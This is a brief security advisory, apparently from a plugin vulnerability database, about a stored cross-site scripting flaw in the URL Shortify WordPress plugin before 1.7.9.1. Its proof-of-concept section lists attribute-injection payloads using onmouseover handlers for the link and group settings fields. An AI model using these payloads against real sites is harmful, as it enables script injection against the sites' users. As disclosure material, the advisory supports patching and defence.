URL Shortify < 1.7.9.1 - Admin+ Stored XSS

Description The plugin does not sanitise and escape some of its settings, which could allow high privilege users such as admin to perform Stored Cross-Site Scripting attacks even when the unfiltered_html capability is disallowed (for example in multisite setup)

PoC

Multiple parameters in the plugin’s settings are vulnerable to cross-site scripting. Links -> Edit Link - “Short URL” payload: 9onp" onmouseover=alert(3) abc=" - “Title” payload: KaizenCoders" onmouseover=alert(1) abc=" Groups -> Edit Group - “Name” payload: title" onmouseover=alert(2) abc="